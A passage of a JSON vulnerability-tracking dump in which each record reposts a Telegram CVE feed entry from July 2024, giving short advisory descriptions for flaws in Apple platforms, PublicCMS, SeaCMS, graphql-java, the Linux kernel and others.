"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40094", "type": "seen", "source": "https://t.me/cvedetector/1997", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40094 - GraphQL Java Denial of Service via Introspection\", \n  \"Content\": \"CVE ID : CVE-2024-40094 \nPublished : July 30, 2024, 7:15 a.m. | 30\u00a0minutes ago \nDescription : GraphQL Java (aka graphql-java) before 21.5 does not properly consider ExecutableNormalizedFields (ENFs) as part of preventing denial of service via introspection queries. 20.9 and 19.11 are also fixed versions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T09:53:06.000000Z"}, {"uuid": "5487b467-a2ff-4fec-a77f-89ada47a42cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40836", "type": "seen", "source": "https://t.me/cvedetector/1955", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40836 - Apple Shortcuts Sensitive Data Exposure Bug\", \n  \"Content\": \"CVE ID : CVE-2024-40836 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : A logic issue was addressed with improved checks. This issue is fixed in watchOS 10.6, macOS Sonoma 14.6, iOS 17.6 and iPadOS 17.6, iOS 16.7.9 and iPadOS 16.7.9. A shortcut may be able to use sensitive data with certain actions without prompting the user. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:03.000000Z"}, {"uuid": "52c3e088-835f-4146-92ee-adb15c83c7d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40827", "type": "seen", "source": "https://t.me/cvedetector/1954", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40827 - Apple macOS Arbitrary File Overwrite Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40827 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. An app may be able to overwrite arbitrary files. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:02.000000Z"}, {"uuid": "06994bad-abfa-4a2c-84d4-22de4d23c2dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40829", "type": "seen", "source": "https://t.me/cvedetector/1953", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40829 - Apple WatchOS and iOS Lock Screen Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2024-40829 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : The issue was addressed with improved checks. This issue is fixed in watchOS 10.6, iOS 17.6 and iPadOS 17.6, iOS 16.7.9 and iPadOS 16.7.9, macOS Ventura 13.6.8. An attacker may be able to view restricted content from the lock screen. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:01.000000Z"}, {"uuid": "e8e258ee-b751-4745-804a-17816773203a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40834", "type": "seen", "source": "https://t.me/cvedetector/1952", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40834 - Apple Shortcuts Escalation of Privilege Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40834 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : This issue was addressed by adding an additional prompt for user consent. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. A shortcut may be able to bypass sensitive Shortcuts app settings. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:20:57.000000Z"}, {"uuid": "0814b792-8f3f-4ea6-8dce-85ff527593ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40833", "type": "seen", "source": "https://t.me/cvedetector/1951", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40833 - Apple macOS Ethernet IP Address Logic Checkdataprotection Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-40833 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : A logic issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.6, iOS 16.7.9 and iPadOS 16.7.9, macOS Monterey 12.7.6, macOS Ventura 13.6.8. A shortcut may be able to use sensitive data with certain actions without prompting the user. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:20:56.000000Z"}, {"uuid": "5078a719-b977-497f-9ec4-e673f7b5e71a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40546", "type": "seen", "source": "https://t.me/cvedetector/775", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40546 - An arbitrary file upload vulnerability in the comp\", \n  \"Content\": \"CVE ID : CVE-2024-40546 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the component /admin/cmsWebFile/save of PublicCMS v4.0.202302.e allows attackers to execute arbitrary code via uploading a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:27:03.000000Z"}, {"uuid": "c45110b0-add7-4dda-afd8-be8de1851bb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40542", "type": "seen", "source": "https://t.me/cvedetector/774", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40542 - my-springsecurity-plus before v2024.07.03 was disc\", \n  \"Content\": \"CVE ID : CVE-2024-40542 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : my-springsecurity-plus before v2024.07.03 was discovered to contain a SQL injection vulnerability via the dataScope parameter at /api/role?offset. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:27:02.000000Z"}, {"uuid": "cc02ead0-f293-4f61-bc78-d3aa48831595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40521", "type": "seen", "source": "https://t.me/cvedetector/764", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40521 - SeaCMS 12.9 has a remote code execution vulnerabil\", \n  \"Content\": \"CVE ID : CVE-2024-40521 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : SeaCMS 12.9 has a remote code execution vulnerability. The vulnerability is due to the fact that although admin_template.php imposes certain restrictions on the edited file, attackers can still bypass the restrictions and write code in some way, allowing authenticated attackers to exploit the vulnerability to execute arbitrary commands and gain system privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:47.000000Z"}, {"uuid": "724a3c3e-0177-412a-bb69-aa7daf8495ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40816", "type": "seen", "source": "https://t.me/cvedetector/1962", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40816 - Apple macOS OOB Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40816 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : An out-of-bounds read was addressed with improved input validation. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. A local attacker may be able to cause unexpected system shutdown. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:12.000000Z"}, {"uuid": "25c76f60-8d1b-414a-9d1b-706587fc7444", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40815", "type": "seen", "source": "https://t.me/cvedetector/1956", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40815 - Apple macOS/iOS/iPadOS/watchOS/tvOS Pointer Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40815 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : A race condition was addressed with additional validation. This issue is fixed in macOS Ventura 13.6.8, iOS 17.6 and iPadOS 17.6, watchOS 10.6, tvOS 17.6, macOS Sonoma 14.6. A malicious attacker with arbitrary read and write capability may be able to bypass Pointer Authentication. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:21:03.000000Z"}, {"uuid": "dcfb24f5-0af4-4afa-8d61-ac8d1ca0bf42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40835", "type": "seen", "source": "https://t.me/cvedetector/1950", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40835 - Apple iOS/ iPadOS/MacOS/WatchOS Data Leaking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40835 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : A logic issue was addressed with improved checks. This issue is fixed in iOS 16.7.9 and iPadOS 16.7.9, macOS Ventura 13.6.8, macOS Monterey 12.7.6, iOS 17.6 and iPadOS 17.6, watchOS 10.6, macOS Sonoma 14.6. A shortcut may be able to use sensitive data with certain actions without prompting the user. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:20:55.000000Z"}, {"uuid": "7aa26663-88c1-4262-a218-36317f9f3c77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40832", "type": "seen", "source": "https://t.me/cvedetector/1949", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40832 - Apple macOS Notification Contact Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40832 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.6. An app may be able to view a contact's phone number in system logs. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:20:54.000000Z"}, {"uuid": "203803ed-8784-4cab-8652-c6c5c1738d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40828", "type": "seen", "source": "https://t.me/cvedetector/1948", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40828 - Apple macOS Root Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40828 \nPublished : July 29, 2024, 11:15 p.m. | 45\u00a0minutes ago \nDescription : The issue was addressed with improved checks. This issue is fixed in macOS Sonoma 14.6, macOS Monterey 12.7.6, macOS Ventura 13.6.8. A malicious app may be able to gain root privileges. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-30T02:20:53.000000Z"}, {"uuid": "6b911ebe-36f5-4a8b-af5d-d1a13eb894fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40576", "type": "seen", "source": "https://t.me/cvedetector/1851", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40576 - Best House Rental Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-40576 \nPublished : July 29, 2024, 2:15 p.m. | 36\u00a0minutes ago \nDescription : Cross Site Scripting vulnerability in Best House Rental Management System 1.0 allows a remote attacker to execute arbitrary code via the \"House No\" and \"Description\" parameters in the houses page at the index.php component. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-29T17:07:50.000000Z"}, {"uuid": "9456fe28-0b8d-46e6-9e61-b1e4483b6b83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40618", "type": "seen", "source": "https://t.me/cvedetector/621", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40618 - Whale browser before 3.26.244.21 allows an attacke\", \n  \"Content\": \"CVE ID : CVE-2024-40618 \nPublished : July 11, 2024, 2:15 a.m. | 40\u00a0minutes ago \nDescription : Whale browser before 3.26.244.21 allows an attacker to execute malicious JavaScript due to improper sanitization when processing a built-in extension. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-11T04:56:15.000000Z"}, {"uuid": "d3a56a0a-b87f-4459-8518-d7c202c184b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40552", "type": "seen", "source": "https://t.me/cvedetector/776", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40552 - PublicCMS v4.0.202302.e was discovered to contain\", \n  \"Content\": \"CVE ID : CVE-2024-40552 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : PublicCMS v4.0.202302.e was discovered to contain a remote commande execution (RCE) vulnerability via the cmdarray parameter at /site/ScriptComponent.java. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:27:04.000000Z"}, {"uuid": "db7cd2a5-ad31-42e4-b8b1-cceec68afecd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40998", "type": "seen", "source": "https://t.me/cvedetector/740", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40998 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40998 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \next4: fix uninitialized ratelimit_state->lock access in __ext4_fill_super()  \n  \nIn the following concurrency we will access the uninitialized rs->lock:  \n  \next4_fill_super  \n  ext4_register_sysfs  \n   // sysfs registered msg_ratelimit_interval_ms  \n                             // Other processes modify rs->interval to  \n                             // non-zero via msg_ratelimit_interval_ms  \n  ext4_orphan_cleanup  \n    ext4_msg(sb, KERN_INFO, \"Errors on filesystem, \"  \n      __ext4_msg  \n        ___ratelimit(&(EXT4_SB(sb)->s_msg_ratelimit_state)  \n          if (!rs->interval)  // do nothing if interval is 0  \n            return 1;  \n          raw_spin_trylock_irqsave(&rs->lock, flags)  \n            raw_spin_trylock(lock)  \n              _raw_spin_trylock  \n                __raw_spin_trylock  \n                  spin_acquire(&lock->dep_map, 0, 1, _RET_IP_)  \n                    lock_acquire  \n                      __lock_acquire  \n                        register_lock_class  \n                          assign_lock_key  \n                            dump_stack();  \n  ratelimit_state_init(&sbi->s_msg_ratelimit_state, 5 * HZ, 10);  \n    raw_spin_lock_init(&rs->lock);  \n    // init rs->lock here  \n  \nand get the following dump_stack:  \n  \n=========================================================  \nINFO: trying to register non-static key.  \nThe code is fine but needs lockdep annotation, or maybe  \nyou didn't initialize this object before use?  \nturning off the locking correctness validator.  \nCPU: 12 PID: 753 Comm: mount Tainted: G E 6.7.0-rc6-next-20231222 #504  \n[...]  \nCall Trace:  \n dump_stack_lvl+0xc5/0x170  \n dump_stack+0x18/0x30  \n register_lock_class+0x740/0x7c0  \n __lock_acquire+0x69/0x13a0  \n lock_acquire+0x120/0x450  \n _raw_spin_trylock+0x98/0xd0  \n ___ratelimit+0xf6/0x220  \n __ext4_msg+0x7f/0x160 [ext4]  \n ext4_orphan_cleanup+0x665/0x740 [ext4]  \n __ext4_fill_super+0x21ea/0x2b10 [ext4]  \n ext4_fill_super+0x14d/0x360 [ext4]  \n[...]  \n=========================================================  \n  \nNormally interval is 0 until s_msg_ratelimit_state is initialized, so  \n___ratelimit() does nothing. But registering sysfs precedes initializing  \nrs->lock, so it is possible to change rs->interval to a non-zero value  \nvia the msg_ratelimit_interval_ms interface of sysfs while rs->lock is  \nuninitialized, and then a call to ext4_msg triggers the problem by  \naccessing an uninitialized rs->lock. Therefore register sysfs after all  \ninitializations are complete to avoid such problems. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:55.000000Z"}, {"uuid": "4bb10ef6-ccc4-4f3d-8cca-41ff5c05e013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40992", "type": "seen", "source": "https://t.me/cvedetector/737", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40992 - In the Linux kernel, the following vulnerability h\", \n  \"Content\": \"CVE ID : CVE-2024-40992 \nPublished : July 12, 2024, 1:15 p.m. | 39\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nRDMA/rxe: Fix responder length checking for UD request packets  \n  \nAccording to the IBA specification:  \nIf a UD request packet is detected with an invalid length, the request  \nshall be an invalid request and it shall be silently dropped by  \nthe responder. The responder then waits for a new request packet.  \n  \ncommit 689c5421bfe0 (\"RDMA/rxe: Fix incorrect responder length checking\")  \ndefers responder length check for UD QPs in function `copy_data`.  \nBut it introduces a regression issue for UD QPs.  \n  \nWhen the packet size is too large to fit in the receive buffer.  \n`copy_data` will return error code -EINVAL. Then `send_data_in`  \nwill return RESPST_ERR_MALFORMED_WQE. UD QP will transfer into  \nERROR state. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T16:05:14.000000Z"}, {"uuid": "f5bdbf01-096c-4c07-b4bb-d5cc065d5808", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40547", "type": "seen", "source": "https://t.me/cvedetector/773", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40547 - PublicCMS v4.0.202302.e was discovered to contain\", \n  \"Content\": \"CVE ID : CVE-2024-40547 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : PublicCMS v4.0.202302.e was discovered to contain an arbitrary file content replacement vulnerability via the component /admin/cmsTemplate/replace. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:58.000000Z"}, {"uuid": "42e8132b-1734-456e-b29c-a18a80a38342", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40539", "type": "seen", "source": "https://t.me/cvedetector/770", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40539 - my-springsecurity-plus before v2024.07.03 was disc\", \n  \"Content\": \"CVE ID : CVE-2024-40539 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : my-springsecurity-plus before v2024.07.03 was discovered to contain a SQL injection vulnerability via the dataScope parameter at /api/user. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:55.000000Z"}, {"uuid": "47e74a6f-7b1b-4e2a-acf8-6923cf132ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40549", "type": "seen", "source": "https://t.me/cvedetector/769", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40549 - An arbitrary file upload vulnerability in the comp\", \n  \"Content\": \"CVE ID : CVE-2024-40549 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the component /admin/cmsTemplate/savePlace of PublicCMS v4.0.202302.e allows attackers to execute arbitrary code via uploading a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:54.000000Z"}, {"uuid": "a1e5c4a1-1a82-4294-bd1c-a17615e73d5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40543", "type": "seen", "source": "https://t.me/cvedetector/768", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40543 - PublicCMS v4.0.202302.e was discovered to contain\", \n  \"Content\": \"CVE ID : CVE-2024-40543 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : PublicCMS v4.0.202302.e was discovered to contain a Server-Side Request Forgery (SSRF) via the component /admin/ueditor?action=catchimage. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:50.000000Z"}, {"uuid": "fb4e9721-801c-4965-b82f-35d90e34795a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40550", "type": "seen", "source": "https://t.me/cvedetector/767", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40550 - An arbitrary file upload vulnerability in the comp\", \n  \"Content\": \"CVE ID : CVE-2024-40550 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the component /admin/cmsTemplate/savePlaceMetaData of Public CMS v.4.0.202302.e allows attackers to execute arbitrary code via uploading a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:49.000000Z"}, {"uuid": "cb1f5eaf-3df1-4fc5-a8d0-f4179dbf9bc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40541", "type": "seen", "source": "https://t.me/cvedetector/766", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40541 - my-springsecurity-plus before v2024.07.03 was disc\", \n  \"Content\": \"CVE ID : CVE-2024-40541 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : my-springsecurity-plus before v2024.07.03 was discovered to contain a SQL injection vulnerability via the dataScope parameter at /api/dept/build. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:49.000000Z"}, {"uuid": "d0aa5604-f026-48ab-b202-103fcf03af32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-40551", "type": "seen", "source": "https://t.me/cvedetector/765", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40551 - An arbitrary file upload vulnerability in the comp\", \n  \"Content\": \"CVE ID : CVE-2024-40551 \nPublished : July 12, 2024, 4:15 p.m. | 43\u00a0minutes ago \nDescription : An arbitrary file upload vulnerability in the component /admin/cmsTemplate/doUpload of PublicCMS v4.0.202302.e allows attackers to execute arbitrary code via uploading a crafted file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-12T19:26:48.000000Z"}, {"uuid": "49c308df-9de0-45b6-a786-a244679354c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 